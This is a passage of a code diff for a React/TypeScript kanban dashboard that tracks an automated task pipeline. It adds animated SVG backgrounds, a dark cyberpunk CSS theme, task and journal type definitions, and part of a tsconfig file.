{/* ── Stats Bar ──────────────────── */}
<section className="stats-bar">
<div className="stat">
<div className="stat-label" style={{ color: "#64748b" }}>TO DO</div>
<div className="stat-value">{counts.queued || 0}</div>
<div className="stat-sub">queued + accepted</div>
</div>
<div className="stat">
<div className="stat-label teal">IN PROGRESS</div>
<div className="stat-value">{inProgress}</div>
<div className="stat-sub">active pipeline</div>
</div>
<div className="stat">
<div className="stat-label" style={{ color: "#3b82f6" }}>IN REVIEW</div>
<div className="stat-value">
{(counts.verifying || 0) + (counts.pr_open || 0) + (counts.waiting_ci || 0)}
</div>
<div className="stat-sub">verify + PR + CI</div>
</div>
<div className="stat">
<div className="stat-label violet">DONE</div>
<div className="stat-value">{completed + failed}</div>
<div className="stat-sub">merged + completed + failed</div>
</div>
</section>
{/* ── Toolbar ────────────────────── */}
<section className="toolbar">
<input
type="search"
placeholder="Filter by title, body, source, label, or task id..."
value={filter}
onChange={(e) => setFilter(e.target.value)}
/>
<div className="hint">
Reads <code>snapshot.json</code> no backend required
</div>
</section>
{/* ── Kanban Board ───────────────── */}
<section className="board">
{groupedColumns.map((group) => (
<GroupColumnView
key={group.key}
label={group.label}
color={group.color}
cards={group.cards}
/>
))}
</section>
{/* ── Journal ────────────────────── */}
<JournalView entries={snapshot.journal || []} />
</div>
</>
);
}
@@ -0,0 +1,181 @@
/**
* CyberHeroBackground — full-bleed animated SVG background for the kanban hero.
*
* Layers (back → front):
* 1. Radial teal glow
* 2. Perspective grid floor
* 3. Horizontal data-stream lines
* 4. Constellation nodes + edges
* 5. Data fragment segments
* 6. Binary / hex rain
* 7. Horizontal scan-line
*
* All SMIL-based — no JS animation loops needed.
*/
export function HeroBackground() {
const glyphs = [
{ x: 45, ch: "0", sz: 11, dur: 14, d: 0 },
{ x: 120, ch: "1", sz: 9, dur: 18, d: 3 },
{ x: 195, ch: "A", sz: 10, dur: 12, d: 7 },
{ x: 290, ch: "F", sz: 8, dur: 16, d: 1 },
{ x: 365, ch: "0", sz: 12, dur: 20, d: 5 },
{ x: 430, ch: "1", sz: 9, dur: 13, d: 9 },
{ x: 510, ch: "D", sz: 10, dur: 17, d: 2 },
{ x: 580, ch: "0", sz: 11, dur: 15, d: 6 },
{ x: 650, ch: "1", sz: 8, dur: 11, d: 4 },
{ x: 720, ch: "B", sz: 10, dur: 19, d: 8 },
{ x: 790, ch: "0", sz: 9, dur: 14, d: 1 },
{ x: 860, ch: "E", sz: 11, dur: 16, d: 10 },
{ x: 930, ch: "1", sz: 10, dur: 12, d: 3 },
{ x: 1000, ch: "C", sz: 8, dur: 18, d: 7 },
{ x: 1070, ch: "0", sz: 12, dur: 15, d: 0 },
{ x: 1140, ch: "7", sz: 9, dur: 13, d: 5 },
{ x: 260, ch: "3", sz: 8, dur: 22, d: 11 },
{ x: 475, ch: "F", sz: 10, dur: 16, d: 4 },
{ x: 690, ch: "8", sz: 9, dur: 20, d: 6 },
{ x: 1020, ch: "1", sz: 11, dur: 14, d: 8 },
];
const cn = [
{ x: 80, y: 55 },
{ x: 210, y: 30 },
{ x: 355, y: 80 },
{ x: 500, y: 45 },
{ x: 700, y: 68 },
{ x: 850, y: 28 },
{ x: 980, y: 60 },
{ x: 1120, y: 42 },
{ x: 145, y: 140 },
{ x: 420, y: 155 },
{ x: 780, y: 145 },
{ x: 1050, y: 130 },
];
const ce: [number, number][] = [
[0, 1], [1, 2], [2, 3], [3, 4], [4, 5], [5, 6], [6, 7],
[8, 9], [9, 10], [10, 11],
[0, 8], [3, 9], [4, 10], [7, 11],
];
const streams = [
{ y: 90, dash: "4 18", tot: 22, spd: 2.0, op: 0.07 },
{ y: 160, dash: "2 22", tot: 24, spd: 2.8, op: 0.05 },
{ y: 230, dash: "6 14", tot: 20, spd: 1.5, op: 0.08 },
{ y: 300, dash: "3 20", tot: 23, spd: 2.2, op: 0.06 },
{ y: 370, dash: "5 15", tot: 20, spd: 1.8, op: 0.07 },
];
const frags = [
{ x: 95, y: 120, w: 40 },
{ x: 310, y: 200, w: 30 },
{ x: 540, y: 280, w: 50 },
{ x: 760, y: 130, w: 35 },
{ x: 990, y: 250, w: 45 },
{ x: 180, y: 350, w: 30 },
{ x: 640, y: 380, w: 40 },
{ x: 1080, y: 330, w: 35 },
];
const gridY = [300, 325, 355, 390, 430];
const vx = 600;
const vy = 240;
const radials = [-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5];
return (
<svg
viewBox="0 0 1200 460"
preserveAspectRatio="xMidYMid slice"
style={{ width: "100%", height: "100%" }}
xmlns="http://www.w3.org/2000/svg"
aria-hidden="true"
>
<defs>
<radialGradient id="bg-glow" cx="50%" cy="35%" r="45%">
<stop offset="0%" stopColor="#00d4aa" stopOpacity="0.12" />
<stop offset="50%" stopColor="#00d4aa" stopOpacity="0.03" />
<stop offset="100%" stopColor="#00d4aa" stopOpacity="0" />
</radialGradient>
<linearGradient id="bg-vfade" x1="0" y1="0" x2="0" y2="1">
<stop offset="0%" stopColor="white" stopOpacity="0" />
<stop offset="8%" stopColor="white" stopOpacity="1" />
<stop offset="88%" stopColor="white" stopOpacity="1" />
<stop offset="100%" stopColor="white" stopOpacity="0" />
</linearGradient>
<mask id="bg-mask">
<rect width="1200" height="460" fill="url(#bg-vfade)" />
</mask>
</defs>
{/* Central glow */}
<rect width="1200" height="460" fill="url(#bg-glow)" />
<g mask="url(#bg-mask)">
{/* 1. Perspective grid */}
{gridY.map((y, i) => (
<line key={`hg${i}`} x1="50" y1={y} x2="1150" y2={y}
stroke="#00d4aa" strokeOpacity={0.025 + i * 0.012} strokeWidth="1" />
))}
{radials.map((n) => (
<line key={`vg${n}`} x1={vx} y1={vy} x2={vx + n * 130} y2="460"
stroke="#00d4aa" strokeOpacity="0.025" strokeWidth="1" />
))}
{/* 2. Data streams */}
{streams.map((s, i) => (
<line key={`ds${i}`} x1="0" y1={s.y} x2="1200" y2={s.y}
stroke="#00d4aa" strokeOpacity={s.op} strokeWidth="1" strokeDasharray={s.dash}>
<animate attributeName="stroke-dashoffset" from="0" to={`-${s.tot}`}
dur={`${s.spd}s`} repeatCount="indefinite" />
</line>
))}
{/* 3. Constellation edges */}
{ce.map(([a, b], i) => (
<line key={`ce${i}`} x1={cn[a].x} y1={cn[a].y} x2={cn[b].x} y2={cn[b].y}
stroke="#00d4aa" strokeOpacity="0.06" strokeWidth="1" />
))}
{/* 4. Constellation nodes */}
{cn.map((n, i) => (
<circle key={`cn${i}`} cx={n.x} cy={n.y} r="2" fill="#00d4aa">
<animate attributeName="fill-opacity" values="0.1;0.35;0.1"
dur={`${2 + (i % 4) * 0.5}s`} begin={`${i * 0.3}s`} repeatCount="indefinite" />
<animate attributeName="r" values="1.5;3.5;1.5"
dur={`${2 + (i % 4) * 0.5}s`} begin={`${i * 0.3}s`} repeatCount="indefinite" />
</circle>
))}
{/* 5. Data fragments */}
{frags.map((f, i) => (
<line key={`fr${i}`} x1={f.x} y1={f.y} x2={f.x + f.w} y2={f.y}
stroke={i % 3 === 0 ? "#8b5cf6" : "#00d4aa"} strokeOpacity="0.08"
strokeWidth="1" strokeLinecap="round">
<animate attributeName="stroke-opacity" values="0.04;0.16;0.04"
dur={`${2.5 + (i % 3) * 0.7}s`} begin={`${i * 0.4}s`} repeatCount="indefinite" />
</line>
))}
{/* 6. Binary / hex rain */}
{glyphs.map((g, i) => (
<text key={`gl${i}`} x={g.x} y={-10} fontSize={g.sz}
fill={i % 7 === 0 ? "#8b5cf6" : i % 11 === 0 ? "#ff6b35" : "#00d4aa"}
fillOpacity="0" fontFamily="JetBrains Mono, monospace" fontWeight="600" letterSpacing="0.6">
{g.ch}
<animateTransform attributeName="transform" type="translate"
from="0 0" to="0 480" dur={`${g.dur}s`} begin={`${g.d}s`} repeatCount="indefinite" />
<animate attributeName="fill-opacity" values="0;0.2;0.2;0"
keyTimes="0;0.08;0.85;1" dur={`${g.dur}s`} begin={`${g.d}s`} repeatCount="indefinite" />
</text>
))}
{/* 7. Scan-line */}
<line x1="0" y1="0" x2="1200" y2="0" stroke="#00d4aa" strokeOpacity="0" strokeWidth="1">
<animateTransform attributeName="transform" type="translate"
from="0 0" to="0 460" dur="6s" repeatCount="indefinite" />
<animate attributeName="stroke-opacity" values="0;0.16;0.16;0"
keyTimes="0;0.04;0.96;1" dur="6s" repeatCount="indefinite" />
</line>
</g>
</svg>
);
}
@@ -0,0 +1,223 @@
/**
* PipelineAnimation — a rich, orbital visualization of the autopilot pipeline.
*
* Central hub surrounded by 5 stage nodes in a circuit layout, with
* data packets flowing through connecting paths, background grid,
* ambient particles, and pulsing energy rings. Fills the entire
* container with minimal dead space.
*/
export function PipelineAnimation() {
const cx = 200;
const cy = 105;
const rx = 145;
const ry = 65;
const stages = [
{ label: "QUEUE", angle: Math.PI },
{ label: "PREP", angle: Math.PI + Math.PI * 2 / 5 },
{ label: "RUN", angle: Math.PI + (Math.PI * 2 / 5) * 2 },
{ label: "CHECK", angle: Math.PI + (Math.PI * 2 / 5) * 3 },
{ label: "MERGE", angle: Math.PI + (Math.PI * 2 / 5) * 4 },
].map((s) => ({
...s,
x: cx + Math.cos(s.angle) * rx,
y: cy + Math.sin(s.angle) * ry,
}));
// Build the orbital path for traveling packets
const orbitPath = stages
.map((s, i) => `${i === 0 ? "M" : "L"} ${s.x.toFixed(1)} ${s.y.toFixed(1)}`)
.join(" ") + " Z";
// Ambient floating particles
const particles = [
{ x: 40, y: 30, r: 1.2, dur: 3, d: 0 },
{ x: 340, y: 50, r: 0.8, dur: 4, d: 1 },
{ x: 80, y: 170, r: 1, dur: 3.5, d: 2 },
{ x: 320, y: 160, r: 1.3, dur: 2.8, d: 0.5 },
{ x: 170, y: 25, r: 0.7, dur: 4.2, d: 1.5 },
{ x: 250, y: 185, r: 0.9, dur: 3.2, d: 3 },
{ x: 120, y: 100, r: 0.6, dur: 5, d: 2.5 },
{ x: 300, y: 110, r: 1.1, dur: 3.8, d: 0.8 },
{ x: 50, y: 120, r: 0.8, dur: 4.5, d: 1.2 },
{ x: 370, y: 90, r: 0.7, dur: 3.6, d: 2.2 },
];
// Background grid lines
const hLines = [35, 70, 105, 140, 175];
const vLines = [40, 80, 120, 160, 200, 240, 280, 320, 360];
return (
<svg
viewBox="0 0 400 210"
xmlns="http://www.w3.org/2000/svg"
aria-label="Autopilot pipeline"
style={{ width: "100%", height: "100%" }}
preserveAspectRatio="xMidYMid meet"
>
<defs>
<radialGradient id="pipe-glow" cx="50%" cy="50%" r="50%">
<stop offset="0%" stopColor="#00d4aa" stopOpacity="0.85" />
<stop offset="40%" stopColor="#00d4aa" stopOpacity="0.3" />
<stop offset="100%" stopColor="#00d4aa" stopOpacity="0" />
</radialGradient>
<radialGradient id="hub-glow" cx="50%" cy="50%" r="50%">
<stop offset="0%" stopColor="#00d4aa" stopOpacity="0.2" />
<stop offset="100%" stopColor="#00d4aa" stopOpacity="0" />
</radialGradient>
<radialGradient id="node-glow" cx="50%" cy="50%" r="50%">
<stop offset="0%" stopColor="#00d4aa" stopOpacity="0.15" />
<stop offset="100%" stopColor="#00d4aa" stopOpacity="0" />
</radialGradient>
<linearGradient id="edge-fade" x1="0" y1="0" x2="1" y2="0">
<stop offset="0%" stopColor="#00d4aa" stopOpacity="0" />
<stop offset="50%" stopColor="#00d4aa" stopOpacity="0.25" />
<stop offset="100%" stopColor="#00d4aa" stopOpacity="0" />
</linearGradient>
</defs>
{/* Background grid */}
{hLines.map((y, i) => (
<line key={`h${i}`} x1="0" y1={y} x2="400" y2={y}
stroke="#00d4aa" strokeOpacity="0.04" strokeWidth="1" />
))}
{vLines.map((x, i) => (
<line key={`v${i}`} x1={x} y1="0" x2={x} y2="210"
stroke="#00d4aa" strokeOpacity="0.04" strokeWidth="1" />
))}
{/* Central radial glow */}
<circle cx={cx} cy={cy} r="80" fill="url(#hub-glow)" />
{/* Orbital ring (background) */}
<path d={orbitPath} fill="none" stroke="#00d4aa" strokeOpacity="0.08" strokeWidth="1" />
{/* Animated dashed orbital ring */}
<path d={orbitPath} fill="none" stroke="#00d4aa" strokeOpacity="0.18"
strokeWidth="1" strokeDasharray="4 8">
<animate attributeName="stroke-dashoffset" values="0;-24" dur="2s" repeatCount="indefinite" />
</path>
{/* Spokes from center to each node */}
{stages.map((s, i) => (
<g key={`spoke-${i}`}>
<line x1={cx} y1={cy} x2={s.x} y2={s.y}
stroke="#00d4aa" strokeOpacity="0.06" strokeWidth="1" />
{/* Data pulse along spoke */}
<circle r="1.5" fill="#00d4aa">
<animateMotion
dur="2s"
begin={`${i * 0.4}s`}
repeatCount="indefinite"
path={`M ${cx} ${cy} L ${s.x} ${s.y}`}
/>
<animate attributeName="opacity" values="0;0.8;0.8;0"
keyTimes="0;0.1;0.8;1" dur="2s" begin={`${i * 0.4}s`} repeatCount="indefinite" />
</circle>
</g>
))}
{/* Stage nodes */}
{stages.map((s, i) => {
const colors = ["#64748b", "#0f766e", "#00d4aa", "#3b82f6", "#8b5cf6"];
const c = colors[i];
return (
<g key={s.label}>
{/* Node glow */}
<circle cx={s.x} cy={s.y} r="28" fill="url(#node-glow)" />
{/* Outer ring */}
<circle cx={s.x} cy={s.y} r="18" fill="#0a0a0a"
stroke={c} strokeOpacity="0.5" strokeWidth="1" />
{/* Corner brackets */}
<g stroke={c} strokeOpacity="0.7" strokeWidth="1" strokeLinecap="round">
<path d={`M ${s.x-13} ${s.y-13} l 5 0 M ${s.x-13} ${s.y-13} l 0 5`} />
<path d={`M ${s.x+13} ${s.y-13} l -5 0 M ${s.x+13} ${s.y-13} l 0 5`} />
<path d={`M ${s.x-13} ${s.y+13} l 5 0 M ${s.x-13} ${s.y+13} l 0 -5`} />
<path d={`M ${s.x+13} ${s.y+13} l -5 0 M ${s.x+13} ${s.y+13} l 0 -5`} />
</g>
{/* Inner pulsing dot */}
<circle cx={s.x} cy={s.y} r="4" fill={c}>
<animate attributeName="r" values="4;6;4" dur="2.4s"
begin={`${i * 0.5}s`} repeatCount="indefinite" />
<animate attributeName="opacity" values="0.5;1;0.5" dur="2.4s"
begin={`${i * 0.5}s`} repeatCount="indefinite" />
</circle>
{/* Expanding pulse ring */}
<circle cx={s.x} cy={s.y} r="18" fill="none" stroke={c} strokeWidth="1">
<animate attributeName="r" values="18;30" dur="3s"
begin={`${i * 0.6}s`} repeatCount="indefinite" />
<animate attributeName="opacity" values="0.45;0" dur="3s"
begin={`${i * 0.6}s`} repeatCount="indefinite" />
</circle>
{/* Label */}
<text x={s.x} y={s.y + 30} fontSize="7" fill={c} fillOpacity="0.7"
textAnchor="middle" fontFamily="JetBrains Mono, monospace"
letterSpacing="1.5" fontWeight="700">
{s.label}
</text>
</g>
);
})}
{/* Central hub */}
<circle cx={cx} cy={cy} r="14" fill="#0a0a0a" stroke="#00d4aa" strokeOpacity="0.6" strokeWidth="1.2" />
<circle cx={cx} cy={cy} r="14" fill="none" stroke="#00d4aa" strokeWidth="1">
<animate attributeName="r" values="14;22" dur="2.4s" repeatCount="indefinite" />
<animate attributeName="opacity" values="0.4;0" dur="2.4s" repeatCount="indefinite" />
</circle>
{/* Hub icon — infinity / loop symbol */}
<text x={cx} y={cy + 4} fontSize="11" fill="#00d4aa" fillOpacity="0.9"
textAnchor="middle" fontFamily="JetBrains Mono, monospace" fontWeight="700">
&#x221E;
</text>
{/* Traveling packet 1 — clockwise */}
<circle r="16" fill="url(#pipe-glow)" opacity="0.6">
<animateMotion dur="5s" repeatCount="indefinite" path={orbitPath} rotate="auto" />
</circle>
<circle r="3.5" fill="#00d4aa">
<animateMotion dur="5s" repeatCount="indefinite" path={orbitPath} rotate="auto" />
<animate attributeName="r" values="3.5;2.5;3.5" dur="1s" repeatCount="indefinite" />
</circle>
{/* Traveling packet 2 — offset, different speed */}
<circle r="10" fill="url(#pipe-glow)" opacity="0.35">
<animateMotion dur="7s" begin="2.5s" repeatCount="indefinite" path={orbitPath} rotate="auto" />
</circle>
<circle r="2" fill="#8b5cf6">
<animateMotion dur="7s" begin="2.5s" repeatCount="indefinite" path={orbitPath} rotate="auto" />
<animate attributeName="opacity" values="0.4;1;0.4" dur="2s" repeatCount="indefinite" />
</circle>
{/* Ambient particles */}
{particles.map((p, i) => (
<circle key={`p${i}`} cx={p.x} cy={p.y} r={p.r}
fill={i % 3 === 0 ? "#8b5cf6" : "#00d4aa"}>
<animate attributeName="opacity" values="0.05;0.25;0.05"
dur={`${p.dur}s`} begin={`${p.d}s`} repeatCount="indefinite" />
<animate attributeName="r" values={`${p.r};${p.r * 1.5};${p.r}`}
dur={`${p.dur}s`} begin={`${p.d}s`} repeatCount="indefinite" />
</circle>
))}
{/* Scan line */}
<line x1="0" y1="0" x2="400" y2="0" stroke="#00d4aa" strokeOpacity="0" strokeWidth="1">
<animateTransform attributeName="transform" type="translate"
from="0 0" to="0 210" dur="4s" repeatCount="indefinite" />
<animate attributeName="stroke-opacity" values="0;0.12;0.12;0"
keyTimes="0;0.05;0.95;1" dur="4s" repeatCount="indefinite" />
</line>
{/* Bottom caption */}
<text x={cx} y="204" fontSize="7" fill="#00d4aa" fillOpacity="0.4"
textAnchor="middle" fontFamily="JetBrains Mono, monospace" letterSpacing="2.5">
AUTOPILOT · PIPELINE
</text>
</svg>
);
}
+546
View File
@@ -0,0 +1,546 @@
/* ─── AnyFS-inspired dark cyberpunk theme ─────────── */
:root {
--bg: #0a0a0a;
--bg-surface: #111111;
--bg-elevated: #1a1a1a;
--ink: #ffffff;
--ink-secondary: #888888;
--accent: #00d4aa;
--accent-light: #00f0c0;
--accent-orange: #ff6b35;
--accent-violet: #8b5cf6;
--muted: #666666;
--line: #222222;
--line-bright: #333333;
--success: #00d4aa;
--error: #ff4444;
--warning: #ffaa00;
--mono: "JetBrains Mono", "Fira Code", ui-monospace, "Cascadia Code", monospace;
}
* { box-sizing: border-box; margin: 0; padding: 0; }
html { scroll-behavior: smooth; }
body {
background: var(--bg);
color: var(--ink);
font-family: var(--mono);
font-size: 13px;
line-height: 1.6;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
min-height: 100vh;
}
::selection {
background: rgba(0, 212, 170, 0.25);
color: #fff;
}
/* ─── Scrollbar ──────────────────────────────── */
::-webkit-scrollbar { width: 4px; height: 4px; }
::-webkit-scrollbar-track { background: transparent; }
::-webkit-scrollbar-thumb { background: #333; border-radius: 2px; }
::-webkit-scrollbar-thumb:hover { background: #555; }
/* ─── Shell ──────────────────────────────────── */
.shell {
max-width: 1600px;
margin: 0 auto;
padding: 0 20px 56px;
}
/* ─── Hero Section ───────────────────────────── */
.hero {
position: relative;
overflow: hidden;
margin: 0 -20px;
padding: 60px 20px 40px;
min-height: 340px;
}
.hero-bg {
position: absolute;
inset: 0;
pointer-events: none;
}
.hero-content {
position: relative;
z-index: 1;
display: grid;
grid-template-columns: 1.4fr 1fr;
gap: 24px;
max-width: 1600px;
margin: 0 auto;
}
.hero-main { padding: 8px; }
.eyebrow {
display: inline-flex;
gap: 8px;
align-items: center;
font-size: 10px;
letter-spacing: 3px;
text-transform: uppercase;
color: var(--accent);
font-weight: 700;
margin-bottom: 20px;
}
.hero h1 {
font-size: clamp(32px, 4.5vw, 56px);
font-weight: 700;
letter-spacing: 2px;
line-height: 1.1;
margin-bottom: 16px;
}
.hero h1 .accent { color: var(--accent); }
.hero-sub {
color: var(--muted);
font-size: 12px;
line-height: 1.8;
max-width: 52ch;
margin-bottom: 24px;
}
.focus-box {
padding: 16px;
border-radius: 6px;
background: rgba(0, 212, 170, 0.06);
border: 1px solid rgba(0, 212, 170, 0.15);
}
.focus-box .focus-label {
font-size: 10px;
letter-spacing: 2px;
text-transform: uppercase;
color: var(--accent);
font-weight: 700;
margin-bottom: 8px;
}
.focus-box .focus-text {
font-size: 12px;
color: var(--ink-secondary);
line-height: 1.6;
}
.hero-side {
display: flex;
flex-direction: column;
gap: 16px;
padding: 8px;
}
.hero-timestamp {
font-size: 10px;
letter-spacing: 1px;
color: var(--muted);
}
/* ─── Stats Bar ──────────────────────────────── */
.stats-bar {
display: grid;
grid-template-columns: repeat(4, 1fr);
gap: 1px;
background: var(--line);
border-radius: 6px;
overflow: hidden;
margin-bottom: 24px;
}
.stat {
background: var(--bg-surface);
padding: 20px;
text-align: center;
transition: background 0.2s ease;
}
.stat:hover {
background: var(--bg-elevated);
}
.stat-label {
font-size: 10px;
letter-spacing: 2px;
text-transform: uppercase;
font-weight: 700;
margin-bottom: 8px;
}
.stat-label.teal { color: var(--accent); }
.stat-label.orange { color: var(--accent-orange); }
.stat-label.violet { color: var(--accent-violet); }
.stat-value {
font-size: 32px;
font-weight: 700;
letter-spacing: -1px;
line-height: 1;
}
.stat-sub {
font-size: 10px;
color: #444;
margin-top: 6px;
letter-spacing: 1px;
}
/* ─── Toolbar ────────────────────────────────── */
.toolbar {
display: flex;
gap: 12px;
align-items: center;
justify-content: space-between;
padding: 16px 20px;
margin-bottom: 20px;
background: var(--bg-elevated);
border: 1px solid var(--line);
border-radius: 6px;
flex-wrap: wrap;
}
.toolbar input {
flex: 1;
min-width: min(400px, 100%);
height: 2.5rem;
padding: 0 14px;
background: var(--bg);
border: 1px solid var(--line-bright);
border-radius: 4px;
font-family: var(--mono);
font-size: 12px;
color: var(--ink);
transition: all 0.2s ease;
}
.toolbar input::placeholder { color: #444; }
.toolbar input:focus {
outline: none;
border-color: var(--accent);
box-shadow: 0 0 0 2px rgba(0, 212, 170, 0.1);
}
.toolbar .hint {
font-size: 11px;
color: var(--muted);
letter-spacing: 0.5px;
}
.toolbar .hint code {
color: var(--accent);
font-size: 11px;
}
/* ─── Board ──────────────────────────────────── */
.board {
display: grid;
grid-template-columns: repeat(4, 1fr);
gap: 16px;
margin-bottom: 24px;
}
/* ─── Column ─────────────────────────────────── */
.column {
background: var(--bg-elevated);
border: 1px solid var(--line);
border-radius: 6px;
padding: 16px;
min-height: 200px;
}
.column-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 14px;
padding-bottom: 12px;
border-bottom: 1px solid var(--line);
}
.column-title-row {
display: flex;
align-items: center;
gap: 8px;
}
.column-dot {
width: 8px;
height: 8px;
border-radius: 50%;
flex-shrink: 0;
}
.column-header h2 {
font-size: 12px;
font-weight: 700;
letter-spacing: 1.5px;
text-transform: uppercase;
}
.column-count {
font-size: 10px;
font-weight: 600;
letter-spacing: 1px;
padding: 2px 8px;
border-radius: 3px;
background: rgba(255, 255, 255, 0.04);
border: 1px solid var(--line);
color: var(--ink-secondary);
}
.cards { display: grid; gap: 10px; }
/* ─── Card ───────────────────────────────────── */
.card {
background: var(--bg-surface);
border: 1px solid var(--line);
border-radius: 6px;
padding: 14px;
transition: all 0.2s ease;
position: relative;
overflow: hidden;
}
.card::before {
content: "";
position: absolute;
top: 0;
left: 0;
width: 3px;
height: 100%;
background: var(--card-accent, var(--line-bright));
}
.card:hover {
border-color: var(--line-bright);
box-shadow: 0 0 20px color-mix(in srgb, var(--card-accent, var(--accent)) 12%, transparent);
transform: translateY(-1px);
}
.card-meta {
display: flex;
justify-content: space-between;
gap: 8px;
font-size: 10px;
color: var(--muted);
margin-bottom: 8px;
letter-spacing: 0.5px;
}
.card h3 {
font-size: 13px;
font-weight: 600;
line-height: 1.4;
margin-bottom: 8px;
letter-spacing: 0.3px;
}
.card-body {
font-size: 11px;
color: var(--muted);
line-height: 1.6;
margin-bottom: 10px;
white-space: pre-wrap;
word-break: break-word;
}
.card-tags {
display: flex;
gap: 4px;
flex-wrap: wrap;
margin-bottom: 10px;
}
.tag {
display: inline-flex;
align-items: center;
padding: 2px 8px;
font-size: 9px;
font-weight: 600;
letter-spacing: 1px;
text-transform: uppercase;
border-radius: 3px;
background: rgba(255, 255, 255, 0.04);
color: var(--ink-secondary);
border: 1px solid var(--line);
}
.card-footer {
border-top: 1px solid var(--line);
padding-top: 10px;
display: grid;
gap: 4px;
font-size: 10px;
color: #555;
letter-spacing: 0.3px;
}
/* ─── Status badges for column headers ────── */
.badge {
display: inline-flex;
align-items: center;
padding: 2px 10px;
font-size: 10px;
font-weight: 600;
letter-spacing: 1px;
text-transform: uppercase;
border-radius: 3px;
}
.badge-teal {
background: rgba(0, 212, 170, 0.1);
color: var(--accent);
border: 1px solid rgba(0, 212, 170, 0.2);
}
.badge-orange {
background: rgba(255, 107, 53, 0.1);
color: var(--accent-orange);
border: 1px solid rgba(255, 107, 53, 0.2);
}
.badge-violet {
background: rgba(139, 92, 246, 0.1);
color: var(--accent-violet);
border: 1px solid rgba(139, 92, 246, 0.2);
}
.badge-red {
background: rgba(255, 68, 68, 0.1);
color: #ff6666;
border: 1px solid rgba(255, 68, 68, 0.2);
}
.badge-blue {
background: rgba(59, 130, 246, 0.1);
color: #60a5fa;
border: 1px solid rgba(59, 130, 246, 0.2);
}
.badge-amber {
background: rgba(255, 170, 0, 0.1);
color: #ffaa00;
border: 1px solid rgba(255, 170, 0, 0.2);
}
.badge-gray {
background: rgba(255, 255, 255, 0.04);
color: #888;
border: 1px solid var(--line);
}
/* ─── Journal ────────────────────────────────── */
.journal {
background: var(--bg-elevated);
border: 1px solid var(--line);
border-radius: 6px;
padding: 20px;
}
.journal-header {
display: flex;
align-items: center;
gap: 12px;
margin-bottom: 16px;
padding-bottom: 14px;
border-bottom: 1px solid var(--line);
}
.journal-header h2 {
font-size: 12px;
font-weight: 700;
letter-spacing: 2px;
text-transform: uppercase;
}
.journal-list { display: grid; gap: 8px; }
.journal-item {
padding: 12px 14px;
border-radius: 4px;
border: 1px solid var(--line);
background: var(--bg-surface);
transition: background 0.15s ease;
}
.journal-item:hover { background: var(--bg-elevated); }
.journal-item time {
font-size: 10px;
color: var(--muted);
letter-spacing: 0.5px;
display: inline-block;
margin-bottom: 4px;
}
.journal-item .kind {
font-weight: 700;
color: var(--accent);
font-size: 11px;
letter-spacing: 0.5px;
}
.journal-item .task-ref {
color: var(--accent-violet);
font-size: 11px;
}
.journal-item .summary {
font-size: 12px;
color: var(--ink-secondary);
line-height: 1.5;
}
.empty {
color: var(--muted);
font-style: italic;
padding: 16px 4px;
font-size: 12px;
letter-spacing: 0.5px;
}
/* ─── Pipeline Animation (hero side) ─────────── */
.pipeline-viz {
background: var(--bg-elevated);
border: 1px solid var(--line);
border-radius: 6px;
overflow: hidden;
flex: 1;
}
/* ─── Animations ─────────────────────────────── */
@keyframes fade-in {
from { opacity: 0; transform: translateY(8px); }
to { opacity: 1; transform: translateY(0); }
}
@keyframes glow-pulse {
0%, 100% { box-shadow: 0 0 12px rgba(0, 212, 170, 0.08); }
50% { box-shadow: 0 0 24px rgba(0, 212, 170, 0.16); }
}
.animate-fade-in {
animation: fade-in 0.4s ease-out forwards;
}
/* ─── Responsive ─────────────────────────────── */
@media (max-width: 1100px) {
.hero-content { grid-template-columns: 1fr; }
.stats-bar { grid-template-columns: repeat(2, 1fr); }
.board { grid-template-columns: repeat(2, 1fr); }
}
@media (max-width: 760px) {
.shell { padding: 0 12px 36px; }
.hero { padding: 40px 12px 28px; margin: 0 -12px; }
.board { grid-template-columns: 1fr; }
.stats-bar { grid-template-columns: 1fr 1fr; }
.toolbar input { min-width: 100%; }
}
+10
View File
@@ -0,0 +1,10 @@
import { StrictMode } from "react";
import { createRoot } from "react-dom/client";
import "./index.css";
import { App } from "./App";
createRoot(document.getElementById("root")!).render(
<StrictMode>
<App />
</StrictMode>,
);
+84
View File
@@ -0,0 +1,84 @@
export interface TaskCard {
id: string;
title: string;
body?: string;
status: string;
score: number;
score_reasons?: string[];
source_kind?: string;
source_ref?: string;
labels?: string[];
updated_at?: number;
metadata?: {
last_note?: string;
last_ci_summary?: string;
last_failure_summary?: string;
human_gate_pending?: boolean;
verification_steps?: { status: string; command: string }[];
};
}
export interface JournalEntry {
timestamp: number;
kind: string;
task_id?: string;
summary: string;
}
export interface Snapshot {
generated_at: number;
repo_name: string;
focus?: TaskCard;
counts: Record<string, number>;
status_order: string[];
columns: Record<string, TaskCard[]>;
cards: TaskCard[];
journal: JournalEntry[];
}
export const STATUS_LABELS: Record<string, string> = {
queued: "Queued",
accepted: "Accepted",
preparing: "Preparing",
running: "Running",
verifying: "Verifying",
pr_open: "PR Open",
waiting_ci: "Waiting CI",
repairing: "Repairing",
completed: "Completed",
merged: "Merged",
failed: "Failed",
rejected: "Rejected",
superseded: "Superseded",
};
export const STATUS_COLORS: Record<string, string> = {
queued: "#64748b",
accepted: "#8b5cf6",
preparing: "#0f766e",
running: "#00d4aa",
verifying: "#3b82f6",
pr_open: "#8b5cf6",
waiting_ci: "#3b82f6",
repairing: "#ff6b35",
completed: "#00d4aa",
merged: "#00d4aa",
failed: "#ff4444",
rejected: "#ff4444",
superseded: "#ffaa00",
};
/** Grouped kanban columns — vibe-kanban style */
export interface KanbanGroup {
key: string;
label: string;
color: string;
statuses: string[];
}
export const KANBAN_GROUPS: KanbanGroup[] = [
{ key: "todo", label: "To Do", color: "#64748b", statuses: ["queued", "accepted"] },
{ key: "in_progress", label: "In Progress", color: "#00d4aa", statuses: ["preparing", "running", "repairing"] },
{ key: "in_review", label: "In Review", color: "#3b82f6", statuses: ["verifying", "pr_open", "waiting_ci"] },
{ key: "done", label: "Done", color: "#8b5cf6", statuses: ["completed", "merged", "failed", "rejected", "superseded"] },
];
+1
View File
@@ -0,0 +1 @@
/// <reference types="vite/client" />
+22
View File
@@ -0,0 +1,22 @@
{
"compilerOptions": {
"tsBuildInfoFile": "./node_modules/.tmp/tsconfig.app.tsBuildInfo",
"target": "ES2020",
"useDefineForClassFields": true,
"lib": ["ES2020", "DOM", "DOM.Iterable"],
"module": "ESNext",
"skipLibCheck": true,
"moduleResolution": "bundler",
"allowImportingTsExtensions": true,
"isolatedModules": true,
"moduleDetection": "force",
